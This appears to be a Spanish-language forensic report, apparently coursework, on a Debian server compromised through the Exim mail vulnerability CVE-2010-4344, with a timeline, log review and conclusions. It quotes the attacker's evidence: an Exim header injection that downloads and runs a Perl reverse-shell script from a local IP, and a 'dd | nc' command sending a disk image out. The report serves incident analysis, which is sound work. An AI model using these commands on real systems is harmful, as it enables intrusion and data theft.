Analisis de evidencias

...

La cual se repite en una cadena grande y coincide con otra entrada en rejectlog:

HeaderX: ${run{/bin/sh -c "exec /bin/sh -c 'wget http://192.168.56.1/c.pl -O /tmp/c.pl;perl /tmp/c.pl 192.168.56.1 4444; sleep 1000000'"}}

[pic 4]

Fig. 04. Evidencia 001, se encontró el archivo que el atacante descargo al directorio /tmp/c.pl

- Si estuvo comprometido, ¿cuál fue el método usado? Si, fue comprometido y fue un ataque de desbordamiento de buffer debido a una vulnerabilidad documentada

[pic 5]

Fig. 05. Vulnerabilidad documentada

- ¿Se puede revisar cuantos ataques fallaron?, si algunos fueron exitosos cuantos lo fueron, ¿cuántos ataques se detuvieron después del primer ataque exitoso?

Por lo menos dos ataques fueron exitosos los archivos c.pl y rk.tar fueron descargados en el directorio usando la vulnerabilidad, uno de ellos un rootkit. Dentro del ataque se detectó uno fallido que fue la creación de un usuario con privilegios denominado “ulysses”,

- ¿Qué pasó después del ataque de fuerza bruta? No hubo ataque de fuerza bruta

- ¿Fue un ataque de fuerza bruta ejecutado? A pesar de lo que se ve en el archivos /var/log/auth.log que son varios intentos de loggeo desde la dirección IP 192.168.56.1 no podríamos llamarlo ataque de fuerza bruta, no tiene la apariencia.

- ¿Cuál es la línea de tiempo de los eventos más significativos? La línea de tiempo es la descrita entre 2011-02-06 15:07:13 y las 2011-02-06 15:20:47

- ¿Alguno de los logs parece sospechoso? ¿Alguna configuración no válida?

Los logs mencionados al principio mostraron actividad sospechosa:

/root/.bash_history

/var/log/exim4/mainlog

/var/log/exim4/rejectlog

/var/log/exim4/paniclog

/var/log/auth.log

- ¿Qué herramienta se usó para el ataque?

Se utilizó un rootkit junto con un programa de perl, descargados en el directorio /tmp

- ¿Qué se puede concluir del caso y por qué? Del caso y en base al análisis que se realizó, podemos concluir que un atacante utilizó la vulnerabilidad del servicio de mail exim, realizó un ataque de buffer overflow y consiguió hacerse de un Shell para ejecutar comandos con privilegios, así mismo encontramos evidencia de que información pudo haber sido robada en base a la línea de comando dd if=/dev/sda1 | nc 192.168.56.1 4444 encontrada en bash_history.

- ¿Cómo podemos mejorar la visualización del caso proporcionando más tiempo y recursos?

Se encontraron además de la evidencia del ataque, comandos ejecutados en el archivo .bash_history que muestran una transferencia de archivos (robo de información) se requeriría un análisis más a fondo, para determinar cuáles de estos archivos fueron comprometidos con herramientas más específicas para buscar rastros del atacante.

Conclusiones:

De este trabajo podemos concluir varias cosas, la primera y más importante es que el análisis es un conjunto de técnicas, procesos y capacidades, sin una de ellas un buen análisis forense no es posible o se dificultaría en demasía. El conocimiento y la búsqueda de información sobre las vulnerabilidades, en conjunto con las técnicas aprendidas y las herramientas para investigar el caso apenas nos dan para acercarnos a un resultado satisfactorio.

Confirmamos con esto la hipótesis del principio en la que mencionábamos que El investigador forense es imprescindible durante una investigación debido a sus conocimientos y experiencia pero con una nueva adenda: las herramientas tecnológicas de apoyo también lo son.

Con la suficiente experiencia un investigador forense puede saber que “algo” está mal, es menester demostrar con evidencia ese algo.

Bibliografía:

Instalar Exim, (2013), recuperado de http://nksistemas.com/instalar-y-configurar-exim4-en-debian-para-envio-de-correos/

Detectando Rootkits, (2015) , http://www.linux-party.com/index.php/57-seguridad/8489-detectando-rootkits-linux

Archivos de configuración en /etc (2015) Sergio gonzalez, https://www.linuxtotal.com.mx/index.php?cont=info_admon_013

CVE Details, (2010) www.cvedetails.com/cve/CVE-2010-4344